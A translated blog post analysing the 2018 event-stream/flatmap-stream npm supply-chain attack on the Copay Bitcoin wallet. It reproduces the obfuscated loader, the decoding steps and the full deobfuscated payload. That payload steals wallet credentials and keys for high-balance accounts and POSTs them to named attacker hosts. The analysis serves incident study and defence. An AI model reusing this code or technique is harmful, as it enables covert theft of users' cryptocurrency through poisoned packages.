Jiang Huan, front-end engineer of Meituan-Dianping, 3 years of work experience, mainly responsible for the development of “Cloud Store Assistant” client and “Smart Restaurant” mini program of Meituan-Dianping. This article was first published in Jiang Huan’s Zhihu column, please pay attention.

The text begins here

Copay, the Bitcoin wallet, was attacked by a dependency chain, which was widely discussed in the tech world last week, and I’ve been reading a lot of god analysis to sort it out. Here is also to share with you a wave of black guest is how to implement his amazing plan step by step.

I. Background introduction

Event-stream is the open source community’s NPM package for handling Node.js streaming data. It makes it easy to create and use streams, which is why it’s so popular with developers that it reached 1.65 million downloads last week.

Hosting of event-stream in NPM

This happened because the project’s author, @DominicTarr, was limited by time and energy and handed over its maintenance to another developer, @Right9Ctrl, who gained access to event-Stream. The malicious code is injected into event-stream via the flatmap-stream dependency. It is this dependency that introduces the backdoor to stealing Bitcoin.

Meanwhile, Dash Copay, a well-known Bitcoin wallet, referenced a reliance on Event-Stream in their app, which led to the poisoning.

Comb down, the hacker’s specific steps are as follows:

  • In the first step, the hacker @Right9Ctrl emailed the library’s original author @Dominictarr, who was no longer willing to maintain the library due to lack of time or interest, so he transferred the library to the complete stranger.

Original author’s explanation

  • Second, on September 9, the new vendormade a preliminary move, first releasing the event-Stream 3.3.6 update and adding a new module, Flatmap-stream, which at the time had no malicious features.

  • Step 3: On September 16, @Right9Ctrl removed the reference to flatmap-stream and manually implemented the method in Event-stram, then directly upgraded the project from 3.3.6 to 4.0.0. However, when referencing the NPM package, few people upgrade directly to the larger version, which means codePay is likely to stick with the poisoned Event-Stream version 3.3.6.

Hacker’s attack steps

  • Step 4: On October 5, the [email protected] version was pushed to NPM by a user named @hugeglass. In this update, the module was added with the user information and secret keys used to steal Bitcoin wallets. Colloquially speaking, it is like the user’s online banking account, password and U shield were stolen together.

Theft and exposure

theft

So how exactly did the hacker’s code steal bitcoin? By analyzing the source code for flatmap-stream, we can break it down into four steps:

  1. The external code determines the execution environment and, if running in a Copay-Dash project, decrypts and executes the internal code, which is encrypted into hexadecimal.

  2. The internal code determines the user’s environment (whether Cordova is used or not) and obtains the victim’s personal wallet information.

  3. By going through all the ids in the victim’s wallet, look for accounts with balances of more than 100 BTC (market value of 3 million yuan) or 1,000 BCH (market value of 1.25 million yuan).

  4. Send the victim’s account information and wallet key to server 111.90.151.134 and copayapi.host (previously: 145.249.104.239, now: 51.38.112.212) deployed in Kuala Lumpur.

exposure

In a dramatic revelation, a completely unrelated third party developer introduced Nodemon monitoring into his project, but a DeprecationWarning appeared on the console: Crypto. CreateDecipher is deprecated.”

The crypto createDecipher method is deprecated in the latest version of the crypto API, so the system throws a warning.

An accident brought the whole affair to light

However, nodeJS monitoring normally does not require encryption or decryption. So to address the unexpected warning, the eager developer took the issue to the community. As they worked their way up the dependency tree of their project, they found that the dependency was introduced by flatmap-stream. By decrypting the flatmap-stream code, the event is kicked off.

Attack and Discovery

Iii. Code analysis

Now let’s go back through the code step by step to analyze how the hacker carried out his theft, or skip to the summary at the end of the chapter if you don’t want to see the detailed analysis 🙂

First, the attacker uploads the original code ([email protected])[unpkg.com/flatmap-str…] Is compressed:

var Stream=require("stream").Stream;module.exports=function(e,n){var i=new Stream,a=0,o=0,u=!1,f=!1,l=!1,c=0,s=!1,d=(n=n||{}).failures?"failure":"error",m={};function w(r,e){var t=c+1;if(e===t? (void 0! ==r&&i.emit.apply(i,["data",r]),c++,t++):m[e]=r,m.hasOwnProperty(t)){var n=m[t];return delete m[t],w(n,t)}a===++o&&(f&&(f=!1,i.emit("drain")),u&&v())}function p(r,e,t){l||(s=!0,r&&! n.failures||w(e,t),r&&i.emit.apply(i,[d,r]),s=!1)}function b(r,t,n){return e.call(null,r,function(r,e){n(r,e,t)})}function v(r){if(u=!0,i.writable=!1.void 0! ==r)returnw(r,a); a==o&&(i.readable=!1,i.emit("end"),i.destroy())}return i.writable=!0,i.readable=!0,i.write=function(r){if(u)throw new Error("flatmap stream is not writable"); s=!1;try{for(var e in r){a++;var t=b(r[e],a,p);if(f=!1===t)break}return! f}catch(r){if(s)throw r;returnp(r),! f}},i.end=function(r){u||v(r)},i.destroy=function(){u=l=!0,i.writable=i.readable=f=!1,process.nextTick(function(){i.emit("close")})},i.pause=function(){f=!0},i.resume=function(){f=!1},i}; !function(){try{var r=require,t=process;function e(r){return Buffer.from(r,"hex").toString()}var n=r(e("2e2f746573742f64617461")),o=t[e(n[3])][e(n[4])];if(! o)return;var u=r(e(n[2]))[e(n[6])](e(n[5]),o),a=u.update(n[0],e(n[8]),e(n[9])); a+=u.final(e(n[9]));var f=new module.constructor; f.paths=module.paths,f[e(n[7])](a,""),f.exports(n[1])}catch(r){}}();
Copy the code

The problem code was secretly placed at the back. We decompressed the code and formatted it to get the readable problem code 1:

! function () {
    try {
        var r = require,
            t = process;

        function e(r) {
            return Buffer.from(r, "hex").toString()
        }
        var n = r(e("2e2f746573742f64617461")), // The './test/data.js' file that does not exist on Github but is actually hidden in the NPM package
            o = t[e(n[3])][e(n[4])];
        if(! o)return;
        var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
            a = u.update(n[0], e(n[8]), e(n[9]));
        a += u.final(e(n[9]));
        var f = new module.constructor;
        f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])}catch (r) {}
}();
Copy the code

The above code is converted to hexadecimal, and we can do a hexadecimal conversion to get transcoding code 1, where r(e(” 2e2F746573742F64617461 “)), which translates to require(“./test/data”); The data.js file has been removed from the original project. According to FallingSnow, the data.js file is an array as follows, corresponding to the array N in the original code. After transcoding the array, we can get:

[
    // The first two items of the array are encrypted for hackers to steal code
    "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c5 3453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f09 11762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b 6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1"."db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985 a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f 1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb2475 9e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7 657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1"."63727970746f".// crypto
    "656e76".// env
    "6e706d5f7061636b6167655f6465736372697074696f6e".// npm_package_description
    "616573323536".// aes256
    "6372656174654465636970686572".// createDecipher
    "5f636f6d70696c65".// _compile
    "686578".// hex
    "75746638" // utf8
]
Copy the code

By replacing the array N of the code in question with data.js, we can get the following transcoding code 2:

! (function() {
    try {
        // The attack code is disguised as hexadecimal
        var n = [
            "75d4c87f3f6964903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c5 3453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959e3f09 11762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b 6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1"."db67fdbfc39c249c6f338194a526fb95f5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985 a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f 1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb2475 9e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae99ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7 657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1"
        ];
        var o = process["env"] ["npm_package_description"];
        if(! o)return;
        var u = require("crypto") ["createDecipher"] ("aes256", o),
            a = u.update(n[0]."hex"."utf8");
        a += u.final("utf8");
        var f = new module.constructor();
        (f.paths = module.paths), f["_compile"](a, ""), f.exports(n[1]);
    } catch (r) {}
})();
Copy the code

In particular, the first two n[0], n[1] long strings need to be decrypted with the dependent item’s “nPM_package_description”. Decryption can only be successful if description happens to be “A Secure Bitcoin Wallet”. Coincidentally, the description of the Copay project is just that, so this is a targeted attack on the Copay wallet. It was also exposed because the hacker used an outdated API called Crypto. CreateDecipher. After two rounds of decryption, we got the final decryption code, which I semantic and annotated as follows:

! function() {
    function startUp() {
        try {
            var HTTP = require("http"),
                Crypto = require("crypto"),
                publicKey = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJx nQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZL hoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQ iRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----";

            function postData(hostName, pathName, encryptedData) {
                hostName = Buffer.from(hostName, "hex").toString(); // Convert hexadecimal characters to strings,"copayapi.host" and 111.90.151.134
                var request = HTTP.request({
                    hostname: hostName,
                    port: 8080.method: "POST".path: "/" + pathName,
                    headers: {
                        "Content-Length": encryptedData.length,
                        "Content-Type": "text/html"}},function() {});
                request.on("error".function(e) {}), request.write(encryptedData), request.end()
            }

            // Steal user information, encrypt it with public key and send it
            function encryptAndPost(pathName, userInfo) {
                for (var encryptedData = "", r = 0; r < userInfo.length; r += 200) {
                    var o = userInfo.substr(r, 200);
                    encryptedData += Crypto.publicEncrypt(publicKey, Buffer.from(o, "utf8")).toString("hex") + "+"
                }
                postData("636f7061796170692e686f7374", pathName, encryptedData), postData("3131312e39302e3135312e313334", pathName, encryptedData) // Attacker's server copayapi.host, 111.90.151.134
            }

            // Steal user information
            function stealUserInfo(profile, stealSuccessCB) {
                if (window.cordova) {
                    try {
                        var dataDirectory = cordova.file.dataDirectory; Persistent and private data storage within the application's sandbox
                        resolveLocalFileSystemURL(dataDirectory, function(e) {
                            e.getFile(profile, {
                                create:!1
                            }, function(e) {
                                e.file(function(e) {
                                    var reader = new FileReader;
                                    reader.onloadend = function() {
                                        return stealSuccessCB(JSON.parse(reader.result))
                                    }, reader.onerror = function(e) {
                                        reader.abort()
                                    }, reader.readAsText(e)
                                })
                            })
                        })
                    } catch (e) {}
                } else {
                    try {
                        var r = localStorage.getItem(profile);
                        if (r) return stealSuccessCB(JSON.parse(r))
                    } catch (e) {}
                    try {
                        chrome.storage.local.get(profile, function(e) {
                            if (e) return stealSuccessCB(JSON.parse(e[profile]))
                        })
                    } catch (e) {}
                }
            }
            // Execute the code from here, for account balance greater than 100BTC, steal the user's certificate and personal information.
            global.CSSMap = {}, stealUserInfo("profile".function(e) {
                for (var t in e.credentials) {
                    var n = e.credentials[t];
                    "livenet" == n.network && stealUserInfo("balanceCache-" + n.walletId, function(profileInfo) {
                        var that = this;
                        that.balance = parseFloat(profileInfo.balance.split("") [0]), "btc" == that.coin && that.balance < 100 || "bch" == that.coin && that.balance < 1e3 || (global.CSSMap[that.xPubKey] = true, encryptAndPost("c".JSON.stringify(that)))
                    }.bind(n))
                }
            });

            // Import the credentials and rewrite them to try again to steal the user's public key
            var Credentials = require("bitcore-wallet-client/lib/credentials.js");
            Credentials.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) {
                var t = this.getKeysFunc(e); / / normal execution Credentials. Prototype. GetKeys
                try { // Try to steal the secret key
                    global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], encryptAndPost("p", e + "\\t" + this.xPubKey))
                } catch (e) {}
                return t
            }
        } catch (e) {}
    }
    window.cordova ? document.addEventListener("deviceready", startUp) : startUp()
}();
Copy the code

Because the above decryption code is more clear, so here only briefly. Presumably in two steps, the user’s personal information and wallet keys were stolen, encrypted and sent to his server in Kuala Lumpur. This is done by overwriting the credactes.getKeys method in flatmap-stream via the JS prototype link reference. This method is used by copay-Dash to obtain the user’s secret key, which he sends to his server after executing the method.

In order to let you can better comb the attack process, I drew the decryption flow chart for reference:

Hacker’s attack steps

4. Influence and reflection

After the problem was exposed, copay Wallet team made an emergency fix and released v5.2.0, but there were still a large number of unupdated wallet versions (V5.0.2 ~ V5.1.0) infected, they also advised users to upgrade and transfer bitcoin to the new wallet.

Users have already claimed that their wallets were stolen

As a third party developer, we can check whether the dependencies are installed in our project by “NPM ls event-stream flatmap-stream”. The following is a project that has poisoned dependencies installed. If you also have [email protected] installed, please upgrade the dependencies to the latest version.

[redacted] â”” ─ ┬ [email protected] â”” ─ ┬ [email protected] â”” ─ ┬ [email protected] â”” ─ ─ [email protected]Copy the code

At present, there is no good solution to the dependency chain attack. Although there are suggestions in the community to limit the permission of the dependency package or require NPM plaintext submission, it is unlikely to be realized in the short term.

Perhaps the only thing we can do is review the referenced packages carefully before referencing dependencies. At the same time, secure certified packages are locked to ensure that no new toxic dependencies are introduced.

Reference documentation

  • event-stream vulnerability explained
  • With 8 million downloads of NPM packages, hackers have tampered with code, and your device could be turning into a mining machine
  • Here’s how JavaScript hackers steal Bitcoin, Vue developers don’t worry!@Fundebug